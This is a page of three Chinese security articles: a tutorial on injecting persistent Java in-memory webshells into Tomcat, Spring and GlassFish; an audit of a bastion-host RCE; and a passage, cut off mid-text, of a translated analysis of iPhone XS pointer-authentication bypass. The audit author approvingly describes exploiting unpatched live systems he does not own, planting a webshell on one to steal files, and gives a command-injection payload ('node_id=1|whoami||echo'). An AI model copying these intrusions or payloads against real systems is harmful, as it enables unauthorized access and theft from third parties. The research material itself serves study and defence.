过滤器，如果存在多个过滤器则会组成过滤链，最后一个过滤器将会去执行 Servlet 的 service 方法，即 Listener -> Filter ->
Servlet。
## 内存马的攻击面
webshell实际上也是一种web服务，那么从创建web服务的角度考虑，自顶向下，有下面几种手段和思路：
1. 动态注册/字节码替换 interceptor/controller（使用框架如 spring/struts2/jfinal）
2. 动态注册/字节码替换 使用责任链设计模式的中间件、框架的实现（例如 Tomcat 的 Pipeline & Valve，Grizzly 的 FilterChain & Filter 等等）
3. 动态注册/字节码替换 servlet-api 的具体实现 servlet/filter/listener
4. 动态注册/字节码替换一些定时任务的具体实现 比如 TimeTask等
另外，换一个角度来说，webshell作为一个后门，实际上我们需要他完成的工作是能接收到恶意输入，执行恶意输入并回显。那么我们可以考虑启动一个进程或线程，无限循环等待恶意输入并执行代码来作为一个后门。
## 环境准备
我们首先从Tomcat这一使用广泛的中间件开始说起，在其他中间件如weblogic中对servlet-api规范的实现略有不同，但其思想是一致的。
实验环境如下
`jdk 8u102
springboot 2.5.5 (Tomcat embedded)
fastjson 1.2.47`
下面我们构造一个简单的JAVA 任意代码注入点
通过fastjson 1.2.47 rmi反序列化的方式进行注入，因为重点是注入内存马所以选择了jdk 1.8u102<121的版本进行实验。
fastjson使用的exp为：
这里通过marshalsec启动rmi服务器，并通过python SimpleHTTPSever来提供恶意类字节码下载服务：
通过该漏洞我们能实现任意java代码执行：
比如利用jndi注入这个类会弹出计算器。
至此我们获得了tomcat环境下的java代码任意执行。
## 动态注入Servlet
### 注入过程
通常情况下，Servlet/Filter/Listener配置在配置文件（web.xml）和注解中，在其他代码中如果想要完成注册，主要有以下几种思路：
1. 调用Servlet Api 的相关接口（一般只能在应用初始化时调用）
2. 使用中间件提供的相关接口
下面复现的是第二种方式，对于tomcat获取StandardContext来在web应用运行时注入servlet：
可以看到我们的基本流程如下：
1.获取 ServletContext
2.获取 Tomcat 对应的 StandardContext
3.构建新 servlet warpper
4.将构建好的 warpper 添加到 standardContext 中，并加入 servletMappings
在后续的fliter型内存马和listener型内存马中我们会发现其注入过程也是类似的。
### 几个疑问
**1\. Wrapper是什么？**
在这次复现的环境中，我们使用的中间件是Tomcat。
Tomcat 是 Web 应用服务器，是一个 Servlet/JSP 容器，Tomcat 作为 Servlet 的容器，能够将用户的请求发送给
Servlet，并且将 Servlet 的响应返回给用户，Tomcat中有四种类型的Servlet容器，从上到下分别是
Engine、Host、Context、Wrapper
• Engine，实现类为 org.apache.catalina.core.StandardEngine
• Host，实现类为 org.apache.catalina.core.StandardHost
• Context，实现类为 org.apache.catalina.core.StandardContext
• Wrapper，实现类为 org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义，StandardWrapper是Wrapper接口的标准实现类（StandardWrapper
的主要任务就是载入Servlet类并且进行实例化）。
其结构如下图：
可以看到，如果我们想要添加一个Servlet，需要创建一个Warpper包裹他来挂载到Context(StandardContext中)。
**2\. 在复现过程中，我们看到了很多Context，这些Context分别对应什么呢？**
是 WebApplicationContext，ServletContext与StandardContext。
WebApplicationContext: 其实这个接口其实是SpringFramework
ApplicationContext接口的一个子接口，对应着我们的web应用。它在ApplicationContext的基础上，添加了对ServletContext的引用，即getServletContext方法。因此在注入内存马的过程中，我们可以利用他来拿到ServletContext。
ServeltContext: 这个就是我们之前说的servlet-api给的规范servlet用来与容器间进行交互的接口的组合，这个接口定义了一系列的方法来描述上下文（Cotext），servlet通过这些方法可以很方便地与自己所在的容器进行一些交互，比如通过getMajorVersion与getMinorVersion来获取容器的版本信息等。
StandardContext:
这个是tomcat中间件对servlet规范中servletContext的实现，在之前的tomcat架构图中可以看到他的作用位置，用来管理Wrapper。
如果我们将
`standardContext.addServletMappingDecoded("/bad",servletName);`
改为
`servletContext.addServlet("/bad",servletName);`
会得到如下报错
`java.lang.IllegalStateException: Servlets cannot be added to context [] as
the context has been initialised`
可以看到ServletContext虽然提供了addServlet等接口，但是只允许在应用初始化时调用。对于Tomcat来说如果我们要在应用初始化后动态添加Servlet，我们需要在standardContext中addChild也即包装好Servlet的Wrapper。
**3\. 如何获取ServletContext/StandardContext?**
在Tomcat中，只要我们获取了ServletContext，就能找到应用的StandardContext，而且对于不同的中间件来说，ServletContext更具有普适性，所以这个问题可以归结于如何获取ServletContext。
在这个例子中，我们获取ServletContext的方法是：
`// 获取当前应用上下文
WebApplicationContext context =
RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)
RequestContextHolder.currentRequestAttributes()).getRequest());
ServletContext servletContext = context.getServletContext();`
通过先获取WebApplicationContext再拿到ServletContext。
当然这只是其中一种方法，一般来说获取ServletContext有两种思路，一种是通过获取上下文的http请求信息来获得servletContext，在这个例子中就是通过ServletRequestAttributes)
RequestContextHolder.currentRequestAttributes()找到了WebApplicationContext，进而找到了ServletContext。
另外一种思路就是通过在tocmcat启动的http线程中遍历找到有用的信息。在前文中对tomcat的架构进行了介绍，根据tomcat的架构我们可以自顶向下找到线程对应的servletContext。
bitterz师傅给出了一条tomcat全版本的利用链，其中tomcat9的具体链条如下：
从Connector找到StandardSerive，再到StandardEngine，最后获取到TomcatEmbeddedContext[@5990](https://github.com/5990
"@5990")也就是我们想要的StandardContext。
## 动态注入Filter
具体思路如下:
调用 ApplicationContext 的 addFilter 方法创建 filterDefs 对象，需要反射修改应用程序的运行状态，加完之后再改回来；
调用 StandardContext 的 filterStart 方法生成 filterConfigs；
调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps；
为了兼容某些特殊情况比如Shiro，将我们加入的 filter 放在 filterMaps 的第一位，可以自己修改 HashMap
中的顺序，也可以在自己调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位。
鉴于之前已经讨论过standardContext的获取和webshell的内容，在此处略去，我们只关心如何在拿到standardContext的情况下注入Filter型内存马。
## 动态注入Listener
在前面的铺垫中我们介绍了多种listener，对于内存马来说，最好用的一个Listener莫过于ServletRequestListener，他监听request的建立和销毁，因此我们可以拿到
Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersObjects
属性中，同样可以使用 StandardContext 的相关 add 方法添加。
具体动态添加过程相对Filter和Servlet来说反而要相对简单些。直接通过StandardContext的addApplicationEventListener方法即可。
代码如下：
值得注意的是requestEvent 只能直接拿到Servletrequest对象，response需要通过request拿到。
## 动态注入Tomcat Value Pipe
### Tomcat Value 机制
在之前的Tomcat框架图中，我们还漏了一个重要的机制Pipeline.在Tomcat中，四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中，都有一个管道(PipeLine)及若干阀门(Valve)。如下图所示。
顾名思义，类似供水管道（PipeLine）中的各个阀门(Value)，用来实现不同的功能，比方说控制流速、控制流通等等。
我们可以自行编写具备相应业务逻辑的Valve，并添加进相应的管道当中。这样，当客户端请求传递进来时，可以在提前相应容器中完成逻辑操作。这为我们编写内存马提供了一个很好的落脚点。
动态添加的方法也很简单，在获取到standardContext后直接拿Pipeline，调用Pipline.addValue方法即可。代码其他部分不再赘叙。
效果如下：
访问任意url并输入密码和命令既可以getshell：
特征是恶意类会实现org.apache.catalina.Valve接口：
## 动态注入Glassfish Grizzly
为了说明利用框架责任链组件注入java内存马，这里再举一个su18师傅提到的GlassFish Gizzly的链子。
GlassFish中的grizzly组件负责解析和序列化HTTP 请求/响应，类似Tomcat的Pipeline和Valve，grizzly
有FilterChain 和Filter，而filter就为我们提供了一个内存马的注入点。
注入代码如下，这里采取的方法是通过HttpServletRequest获取grizzlyRequest，调用其addAfterServiceListener
在AfterServiceListener的onAfterService中拿到filterChain并添加恶意Filter：
一个示例恶意Filter如下，可以通过connection的channel来操作socket读写管道：
特征是恶意类会实现org.glassfish.grizzly.filterchain.Filter接口。
## 动态注入Spring Controller
在SpringMVC框架中，请求是通过Controller来处理的，如果我们用jspscanner去看spring的servlet，会发现只有一个servlet
那么我们的Controller在哪呢?
通过调试分析我们可以发现Spring
Contorller实际上挂载在RequestMappingHandlerMapping的registry中，可以通过registerMapping和addMappingName等方法动态添加Controller
这里的思路简单来说就是
1. 获取应用的上下文环境，也就是ApplicationContext
2. 从 ApplicationContext 中获取 AbstractHandlerMapping 实例（用于反射）
3. 反射获取 AbstractHandlerMapping类的 getMappingRegistry字段
4. 通过 getMappingRegistry注册Controller
完成上述操作后，我们实际上相当于将Evil类的test方法添加到了Controller中，我们只要在test方法里写入内存马逻辑就可以了。
效果如图：
## 动态注入Spring Interceptor
Interceptor类似servlet规范中的filter，不过spring的interceptor主要针对的是spring controller的过滤。
注入方式也和Controller类似，也是在AbstractHandlerMapping中，存放在adaptedInterceptors属性里。
## 注入线程
利用Java中Timer的特性，启动一个Timer线程，在其中执行webshell逻辑，如果不是所有未完成的任务都已完成执行，或不调用 Timer
对象的cancel
方法，这个线程不会停止，也不会被回收。也就是说，如果是一个jsp文件，即使这个jsp后门在上传访问后被删除，Timer启动的线程也不会停止，这就为我们的内存马利用提供了一个很好的平台。当然因为不在web上下文中，获取http请求和回显的逻辑要稍微复杂些，不过用之前遍历进程找servletContext的方式可以实现指定中间件的通杀。
比如：
能拿到ServerSocketChannel。
也可再找到Request：
实现：
## 内存马持久化
因为内存马本身不落地的特性，应用重启后内存马就不复存在，为了实现内存马的持久化，势必还是要有文件落地的，这里我们可以利用一些钩子，比如Runtime.getRuntime().addShutdownHook()，rebeyond师傅的memShell项目就是通过这种手段实现复活的。
JVM关闭前，会先调用addShutdownHook()，其中的writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动java
-jar inject.jar等待注入新的jvm进程。
类似效果的还有weblogic的 startUpClass
在weblogic在启动后，加载webapp之前，会根据startUpClass参数，去执行指定类。
以及Servlet Api 提供的ServletContainerInitializer接口。在META-INF/services/javax.servlet.ServletContainerInitializer文件中通过SPI的方式进行注册。容器在启动时，就会扫描所有带有这些注册信息的类，启动时会ServletContainerInitializer声明的onStartup方法。
此外，通过java.util提供的jar相关接口还可以对本地jar包进行修改,比如4ra1n师傅提到的tomcat-websocket.jar以及Landgery师傅提到的charsets.jar，都可以起到一定的内存马“隐秘落地”效果。
## 结语
在本篇中主要讨论了java内存马的一些注入点和注入方式，可以看到注入点主要集中在java
servlet规范的listener/filter/servlet中，根据不同中间件的实现方式通过不同的手段进行注入，当然也可以根据中间件或上web框架提供的一些其他特性进行注入。在下一篇文章中，我们将会针对这些注入方式的拦截防御手段进行讨论，进一步探索java内存马的攻防实战。 | 社区文章 |
# 愿世间所有漏洞与你环环相扣
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1605165442&ver=2701&signature=6HPnG-OpRW1rXNf9OhUgDoEUW75I71EfZDa5sBxmBQPIh6HruGDAxWeMQXFn6PJQhBdTbIVZ54i7GO17YJG8Ri6UOZxsnNU1lmMbGoU054o*TifakVVDe0g92655HIIs&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1605165442&ver=2701&signature=6HPnG-OpRW1rXNf9OhUgDoEUW75I71EfZDa5sBxmBQPIh6HruGDAxWeMQXFn6PJQhBdTbIVZ54i7GO17YJG8Ri6UOZxsnNU1lmMbGoU054o*TifakVVDe0g92655HIIs&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
在前段时间的HW行动中流传着一张红队可利用漏洞列表，其中存在关于某堡垒机的RCE漏洞比较感兴趣，正好最近也有空，想来审计审计这个漏洞。
要说这个漏洞，其实也是一个古老的洞了，CNVD编号CNVD-2019-*，虽然是19年爆出来的漏洞，但是抱着试一试的心态搜了一下，成功利用漏洞打了两个小朋友。
嗯！！！洞是个老洞了，但是盖不住管理员不修复啊。
## 乘着风破着浪，黑暗里呀走一趟
既然想做一次代码审计，那没有源码怎么行呢？于是又一次发起白嫖技能，在群里找大佬要了一份堡垒机的源代码，然后没想到的是这个源代码可不好拿，曲曲折折的就有了这篇文章。
拿到大佬给的源代码之后非常高兴的打开验验货，然后立马傻眼了···
看着满屏的乱码，直觉告诉我这个玩意被加密了。之前对某OA系统进行代码审计时便见识到利用zend方法进行加密的PHP文件，通常这类加密文件会在密文的最前面标识自己的加密方式，例如zend加密的PHP文件会在最前面显示“zend”字样的字符串。
然后再看上面的密文，可以得到文件的加密特征“PM9SREW”，当不是zend的时候就感觉不太好了，是一种之前并不熟悉的加密方式，所以需要某度的法力加持，看一下这到底是一种什么样的加密规则。
根据搜集到的信息判断，这种PHP代码加密的技术就叫PHP_Screw，这种加密技术与zend加密不同的是引入了密钥，而且可以对特征标识进行自定义的修改。而由于引入了密钥，不能像zend加密那样直接使用工具进行解密，首先需要获取到加密使用的密钥，然后要自行编写解密脚本。
## 莺飞草长，密钥在来的路上
对于任意一个加密后的PHP脚本，在被脚本解释器解释之前肯定是要被解密的，zend加密方式便是如此，那么同理这个PHP_Screw加密也是如此，那它究竟是如何对脚本进行解密然后传递给脚本解释器的呢？秉持着知来处明去处的精神，我去了解了一下使用PHP_Screw加密后脚本的部署方式。
在部署的第5步，需要将一个php_screw_plus.so的扩展写入php的配置文件，直觉告诉我这个扩展是用来进行解密的。也就是说每一个部署了这个PHP_Screw加密后的脚本服务器肯定会存在一个类似的PHP扩展用于解密，那么我们之前打到的几个小朋友的口袋里肯定也是存在这个扩展的，嗯。。。。我有一个大胆的想法。
给之前其中一个小朋友穿个马甲，然后去上面慢慢找这个扩展组件。
首先找一找小朋友的配置文件，确认一下这个组件的名字。先确定一下PHP配置文件的路径。
果断打开瞅一眼，确定扩展的名字是：php_screw.so
使用find全局搜索一下，但是啥都没搜到，这不得行啊。想了想还是开个phpinfo，查看php的扩展组件存放路径。
然后就是柳暗花明又一村，成功找到这个扩展组件，马上给他下载下来。
有了这个扩展，将so拖到ida里进行分析，分析一下解密算法和使用的密钥。在之前了解PHP_Screw算法的时候了解到整个解密的关键函数是_p**screw_ext_fopen，将函数反编译成类C代码，如下：
在代码的第25行可以看到解密的方式是使用p**screw_mycryptkey数组里的数据进行一系列处理之后和明文按位取反后的值进行异或。上面这个p**screw_mycryptkey里存放的应该就是解密代码使用的key，为了安全打上厚厚的马赛克。
上面的代码是16进制，在我们进行解密的时候需要转换成10进制。为了解密不出问题，还需要将小朋友口袋里的代码给掏出来，用来给我们进行审计分析。结合上面的解密算法，使用密钥解密整个工程文件，解密后的效果如下。
## 风雨兼程，审计马不停蹄
首先还是来看我们既定的审计目标。前台RCE漏洞，目标文件为：/ha_request.php。先给张图看看代码先。
在进行代码审计之前个人比较喜欢看一下参数获取的方式，这样方便判断参数的获取过程是否经过安全处理，以及参数处理过程中是否会存在安全问题等等。在整个ha_request.php文件当中没有获取参数的地方，那么获取参数的地方应该在/include/comm.php文件中，跟进这个文件去看一眼。
在第98行可以看到此处通过$_REQUEST的形式获取参数，然后将参数的键值分别进行简单的处理之后重新赋值，其中参数值通过正则表达式进行了简单的过滤，但是匹配的只是简单的特殊符号，并不算严格。
然后我们回到ha_request.php文件本身，关注点落在存在命令执行的几处地方：
在第37行中使用了exec进行系统命令执行，而执行的系统命令中存在两个变量$url和$filename，其中$filename是一个固定字符串，而$url变量是通过变量拼接而获取的。然后我们再看$url中的两个变量是通过用户输入的，还是自定义的，中间是否经过变量处理，就可以判断$url变量是否可以由用户自主控制，从而造成命令执行。
从上面的代码可以看出$req_node_id和$req_ipaddr两个变量应该是用户输入的，中间没有经过任何变量处理。同时根据代码逻辑，我们需要使变量$req_action为“install”，$res为“OK”，才能进入第37行进行命令执行。其中$req_action为用户输入的变量，可控，而$res为函数node_request函数的返回值，如果返回值不为”OK”,就进入函数fatal()。
这两个函数都位于comm.php，fatal函数是一个自定义的exit函数，用于退出程序。
函数node_request的代码如下：
根据上面的代码，该函数的作用应该是打开某个链接，读取里面的内容，然后返回。而整个链接是来源于用户输入，那么我们可以自己搭建一个VPS，让node_request去请求VPS然后返回OK作为请求结果，这样就可以绕过fatal函数进入命令执行函数。根据之前的传参，应该构造的一个<http://IP/listener/cluster_manage.php>的VPS页面，里面的内容是OK。
简单做个测试，构造VPS内容如下：
创建一个测试代码如下：
访问测试代码，当返回success说明$res的值确实为“OK”，可以绕过判断。
通过上面的分析，已经可以构造payload执行到命令执行的位置，而可控的变量$url中第一个变量需要输入VPS的地址，所以我们执行的系统命令需要放入$req_node_id中，再来看一下命令执行的代码，然后开始构造payload。
要进行命令执行，首先还是需要让$url是一个完整的url，使wget命令结束，然后采用特殊符合执行其他命令，根据上面的分析自己构造一个测试环境。
因为审计是在windows环境，所以简单的修改一下执行的命令，然后构造payload如下情况：[http://IP/test.php?action=install&ipaddr=127.0.0.1&node_id=1](http://IP/test.php?action=install&ipaddr=127.0.0.1&node_id=1)|whoami||echo，测试结果如下，成功执行了系统命令。
当然在linux环境下wget命令可以执行，然后可以通过其他的方式写入一个webshell或者反弹一个shell。
## 此刻已皓月当空，爱的人手捧漏洞
从最开始的知道漏洞，到成功利用漏洞打到小朋友；再通过获取系统源码，分析文件的加密算法；通过分析PHP_Screw算法知道需要获取到解密密钥，编写解密算法；再通过给小朋友穿马甲，翻小朋友的口袋获取到解密密钥，算法，源码，最后进行漏洞的审计分析，知道漏洞触发的原理，这一路走来并不算顺利，在掏口袋获取密钥时找了很久的文件最终才找到，然后进行算法逆向的过程中因为用了比较老的ida和系统，导致反汇编的类C代码有很大区别，而且看不懂，又折腾了好久。还好最后的代码分析并不算很难，所以这又是一个进步啊，以后要多多加油啦！ | 社区文章 |
# 看我如何绕过 iPhone XS 中指针验证机制（下）
|
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>
译文仅供参考，具体内容表达以及含义原文为准。
上一章中，我们对当前的PAC机制在理论上提出了一些可能的漏洞，这一章结合实际的 A12 设备进行验证。该篇可能会比较长，如果大家没有耐心，可以直接跳转到
<第四个缺陷出现！>一节。
## 寻找内核代码执行的入口点
现在我们已经对如何在 A12 设备上绕过和伪造 PAC 有了一些理论的想法，接下来，我们将要研究如何真正的绕过 PAC 来执行内核中的任意代码。
传统的读写内核代码的方法是 Stefan Esser 在[Tales from iOS 6
Exploitation](https://conference.hitb.org/hitbsecconf2013kul/materials/D2T2%20-%20Stefan%20Esser%20-%20Tales%20from%20iOS%206%20Exploitation%20and%20iOS%207%20Security%20Changes.pdf)中提到的
iokit_user_client_trap 策略。此策略需要 patch IOUserClient 实例的 vtable 来调用用户态的函数
IOConnectTrap6()，它可以调用任意函数，并且传入最多7个参数。这样就能在内核中调用 iokit_user_client_trap() 函数了。
如果想要了解其工作原理，可以参考下面 XNU 4903.221.2 中 iokit_user_client_trap() 的实现：
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
kern_return_t result = kIOReturnBadArgument;
IOUserClient *userClient;
if ((userClient = OSDynamicCast(IOUserClient,
iokit_lookup_connect_ref_current_task((mach_port_name_t)
(uintptr_t)args->userClientRef)))) {
IOExternalTrap *trap;
IOService *target = NULL;
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
IOTrap func;
func = trap->func;
if (func) {
result = (target->*func)(args->p1, args->p2, args->p3,
args->p4, args->p5, args->p6);
}
}
iokit_remove_connect_reference(userClient);
}
return result;
}
如果我们能够 patch IOUserClient 实例，使得 getTargetAndTrapForIndex() 返回的 trap 和 target
是我们可控的值，那么下面调用 target->func 将可以调用任意内核函数，并且传入最多7个参数(p1 到 p6 加上 target 本身)。
为了了解这个策略在 A12 设备上能否成功，让我们来看看 PAC 引入的对这个功能的更改。
iokit_user_client_trap
PACIBSP
... ;; Call iokit_lookup_connect_ref_current_task() on
... ;; args->userClientRef and cast the result to IOUserClient.
loc_FFFFFFF00808FF00
STR XZR, [SP,#0x30+var_28] ;; target = NULL
LDR X8, [X19] ;; x19 = userClient, x8 = ->vtable
AUTDZA X8 ;; validate vtable's PAC
ADD X9, X8, #0x5C0 ;; x9 = pointer to vmethod in vtable
LDR X8, [X8,#0x5C0] ;; x8 = vmethod getTargetAndTrapForIndex
MOVK X9, #0x2BCB,LSL#48 ;; x9 = 2BCB`vmethod_pointer
LDR W2, [X20,#8] ;; w2 = args->index
ADD X1, SP, #0x30+var_28 ;; x1 = &target
MOV X0, X19 ;; x0 = userClient
BLRAA X8, X9 ;; PAC call ->getTargetAndTrapForIndex
LDR X9, [SP,#0x30+var_28] ;; x9 = target
CMP X0, #0
CCMP X9, #0, #4, NE
B.EQ loc_FFFFFFF00808FF84 ;; if !trap || !target
LDP X8, X11, [X0,#8] ;; x8 = trap->func, x11 = func virtual?
AND X10, X11, #1
ORR X12, X10, X8
CBZ X12, loc_FFFFFFF00808FF84 ;; if !func
ADD X0, X9, X11,ASR#1 ;; x0 = target
CBNZ X10, loc_FFFFFFF00808FF58
MOV X9, #0 ;; Use context 0 for non-virtual func
B loc_FFFFFFF00808FF70
loc_FFFFFFF00808FF58
... ;; Handle the case where trap->func is a virtual method.
loc_FFFFFFF00808FF70
LDP X1, X2, [X20,#0x10] ;; x1 = args->p1, x2 = args->p2
LDP X3, X4, [X20,#0x20] ;; x3 = args->p3, x4 = args->p4
LDP X5, X6, [X20,#0x30] ;; x5 = args->p5, x6 = args->p6
BLRAA X8, X9 ;; PAC call func(target, p1, ..., p6)
MOV X21, X0
loc_FFFFFFF00808FF84
... ;; Call iokit_remove_connect_reference().
loc_FFFFFFF00808FF8C
... ;; Epilogue.
RETAB
我们可以看到，有几个地方对 PAC 进行了验证: 第一个地方是出现在动态切换到 IOUserClient。 然后会验证 userClient 的
vtable，然后在 PAC 的保护下，调用 getTargetAndTrapForIndex。
再然后，在读取 trap->func 时并没有验证，然后 func 函数在调用时会被验证，使用的上下文是 0.
这种机制对于攻击者来说已经非常好了。 如果我们能找到一个合法的用户，让它来提供 getTargetAndTrapForIndex() 的实现，而这个
getTargetAndTrapForIndex 能够返回一个指向驻留在可写内存中的 IOExternalTrap 的指针。 那么我们只需要考虑如何将
trap->func 替换成我们的函数指针就行了，但是这个函数指针是受 PAC 保护的，它使用 APIAKEY 签名了，上下文为 0。 这意味着我们只要绕过
PAC 一次就足够了，即伪造 PACIZA 签名过的指针。
稍微找了一下，在 kernelcache 中发现一个特别的 IOUserClient 类， IOAudio2DeviceUserClient
，它符合这些条件。下面是它的getTargetAndTrapForIndex() 方法的反编译:
IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
...
*target = (IOService *)this;
return &this->IOAudio2DeviceUserClient.traps[index];
}
在 IOAudio2DeviceUserClient::initializeExternalTrapTable() 中， traps
字段会被初始化为堆分配的 IOExternalTrap 对象：
this->IOAudio2DeviceUserClient.trap_count = 1;
this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap));
因此，我们所需要做的就是创建一个自己的 IOAudio2DeviceUserClient 连接，伪造一个 PACIZA 指针，然后覆盖了用这个指针覆盖
userClient->traps[0].func，最后再再用户态调用 IOConnectTrap6 。这样我们就可以控制除 X0 之外的所有参数，因为
X0 是由 IOAudio2DeviceUserClient 的 getTargetAndTrapForIndex() 显式设置的。
为了控制 X0，我们需要替换 vtable 中 IOAudio2DeviceUserClient 对 getTargetAndTrapForIndex()
的实现。这意味着，除了伪造我们调用的函数的 PACIZA 指针外，我们还需要伪造 vtable，它是由指向虚方法的 PACIA
指针组成。所以，我们需要用一个 vtable 的 PACDZA 的指针替换当前 vtable 指针。而这就需要一些更加复杂的 PAC 伪造技术了。
然而，即使我们只能伪造 PACIZA 指针，仍然有一种方法可以控制X0 : JOP gadget。通过 kernelcache
进行快速搜索，可以发现以下设置 X0 的代码:
MOV X0, X4
BR X5
这使我们可以只使用一个伪造指针，就能调用任意少于 4 个参数的内核函数: 使用 iokit_user_client_trap()
调用指向这个代码的指针，这个指针已经被 PACDZA 签名过了，然后将 X4 设置为我们期望的 X0 值，X5 设置为 我们想要调用的函数。
## 分析在 A12 上的 PAC
现在我们已经知道了如何使用 PAC 伪造来调用任意的内核函数，下面我们开始分析苹果在 A12 芯片上实现的 PAC
的脆弱点。理想情况下，我们能够找到一种方法来同时执行PACIA和PACDA
签名的伪造，但是正如前面所讨论的，即使伪造单个PACIZA指针，也需要调用任意4个参数内核函数的能能力。
为了能够展开分析，我使用 [voucher_swap](https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10) 来读写 iPhone XR 的内核，收集的操作系统为 iOS 12.1.1 build
16C50 版。
### 在内核中找到 PAC 的密钥
第一步是要找到 PAC 的密钥在内核中是如何赋值的。不幸的是， IDA 并不显示用于存储 PAC 密钥的名称，因此我不得不一点点的向下挖掘。
在 [LLVM](https://github.com/llvm-mirror/llvm/) 仓库中，查找 “APIAKEY”, 显示存储 APIAKEY
的寄存器叫做 APIAKeyLo_EL1 和 APIAKeyHi_EL1， 存储其他密钥的寄存器命名也都相似。
在文件 [AArch64SystemOperands.td](https://github.com/llvm-mirror/llvm/blob/efea7114d4f7bc56ab90df04037bdb7cd7d4f8c3/lib/Target/AArch64/AArch64SystemOperands.td#L1289)
中的代码声明了这些寄存器。 这是我们可以在 IDA 中很轻松的找到这些寄存器。 比如，要查找 APIAKeyLo_EL1 赋值的过程，我查找字符串 “#0,
c2, c1, #0”，这让我想到了common_start的一部分，可以参考文件
[osfmk/arm64/start.s](https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/arm64/start.s.auto.html):
_WriteStatusReg(TCR_EL1, sysreg_restore); // 3, 0, 2, 0, 2
PPLTEXT__set__TTBR0_EL1(x25 & 0xFFFFFFFFFFFF);
_WriteStatusReg(TTBR1_EL1, (x25 + 0x4000) & 0xFFFFFFFFFFFF); // 3, 0, 2, 0, 1
_WriteStatusReg(MAIR_EL1, 0x44F00BB44FF); // 3, 0, 10, 2, 0
if ( x21 )
_WriteStatusReg(TTBR1_EL1, cpu_ttep); // 3, 0, 2, 0, 1
_WriteStatusReg(VBAR_EL1, ExceptionVectorsBase + x22 - x23); // 3, 0, 12, 0, 0
do
x0 = _ReadStatusReg(S3_4_C15_C0_4); // ????
while ( !(x0 & 2) );
_WriteStatusReg(S3_4_C15_C0_4, x0 | 5); // ????
__isb(0xF);
_WriteStatusReg(APIBKeyLo_EL1, 0xFEEDFACEFEEDFACF); // 3, 0, 2, 1, 2
_WriteStatusReg(APIBKeyHi_EL1, 0xFEEDFACEFEEDFACF); // 3, 0, 2, 1, 3
_WriteStatusReg(APDBKeyLo_EL1, 0xFEEDFACEFEEDFAD0); // 3, 0, 2, 2, 2
_WriteStatusReg(APDBKeyHi_EL1, 0xFEEDFACEFEEDFAD0); // 3, 0, 2, 2, 3
_WriteStatusReg(S3_4_C15_C1_0, 0xFEEDFACEFEEDFAD1); // ????
_WriteStatusReg(S3_4_C15_C1_1, 0xFEEDFACEFEEDFAD1); // ????
_WriteStatusReg(APIAKeyLo_EL1, 0xFEEDFACEFEEDFAD2); // 3, 0, 2, 1, 0
_WriteStatusReg(APIAKeyHi_EL1, 0xFEEDFACEFEEDFAD2); // 3, 0, 2, 1, 1
_WriteStatusReg(APDAKeyLo_EL1, 0xFEEDFACEFEEDFAD3); // 3, 0, 2, 2, 0
_WriteStatusReg(APDAKeyHi_EL1, 0xFEEDFACEFEEDFAD3); // 3, 0, 2, 2, 1
_WriteStatusReg(APGAKeyLo_EL1, 0xFEEDFACEFEEDFAD4); // 3, 0, 2, 3, 0
_WriteStatusReg(APGAKeyHi_EL1, 0xFEEDFACEFEEDFAD4); // 3, 0, 2, 3, 1
_WriteStatusReg(SCTLR_EL1, 0xFC54793D); // 3, 0, 1, 0, 0
__isb(0xF);
_WriteStatusReg(CPACR_EL1, 0x300000); // 3, 0, 1, 0, 2
_WriteStatusReg(TPIDR_EL1, 0); // 3, 0, 13, 0, 4
很有意思的是，看起来像是 common_start 在每次内核启动时都会给 PAC 的密钥赋一个固定值。
考虑到这可能是因为反编译的关系，我检查了反编译的过程:
common_start+A8
LDR X0, =0xFEEDFACEFEEDFACF ;; x0 = pac_key
MSR #0, c2, c1, #2, X0 ;; APIBKeyLo_EL1
MSR #0, c2, c1, #3, X0 ;; APIBKeyHi_EL1
ADD X0, X0, #1
MSR #0, c2, c2, #2, X0 ;; APDBKeyLo_EL1
MSR #0, c2, c2, #3, X0 ;; APDBKeyHi_EL1
ADD X0, X0, #1
MSR #4, c15, c1, #0, X0 ;; ????
MSR #4, c15, c1, #1, X0 ;; ????
ADD X0, X0, #1
MSR #0, c2, c1, #0, X0 ;; APIAKeyLo_EL1
MSR #0, c2, c1, #1, X0 ;; APIAKeyHi_EL1
ADD X0, X0, #1
MSR #0, c2, c2, #0, X0 ;; APDAKeyLo_EL1
MSR #0, c2, c2, #1, X0 ;; APDAKeyHi_EL1
...
pac_key
DCQ 0xFEEDFACEFEEDFACF ; DATA XREF: common_start+A8↑r
还真的不是因为反编译，common_start 的确是每次初始化 PAC
密钥时都会给一个固定值。这很令人吃惊，我不相信苹果不知道，使用固定值给密钥赋值会导致所有的 PAC 安全机制的失效。所以我想 PAC
密钥肯定还会在其他地方被初始化为它们真正的运行时值。
但是在多次搜索之后，这似乎是 kernelcache 中唯一设置 A 密钥和通用密钥的位置。尽管如此，B 密钥似乎在其他地方有过重新的赋值:
machine_load_context+A8
LDR X1, [X0,#0x458]
...
MSR #0, c2, c1, #2, X1 ;; APIBKeyLo_EL1
MSR #0, c2, c1, #3, X1 ;; APIBKeyHi_EL1
ADD X1, X1, #1
MSR #0, c2, c2, #2, X1 ;; APDBKeyLo_EL1
MSR #0, c2, c2, #3, X1 ;; APDBKeyHi_EL1
Call_continuation+10
LDR X5, [X4,#0x458]
...
MSR #0, c2, c1, #2, X5 ;; APIBKeyLo_EL1
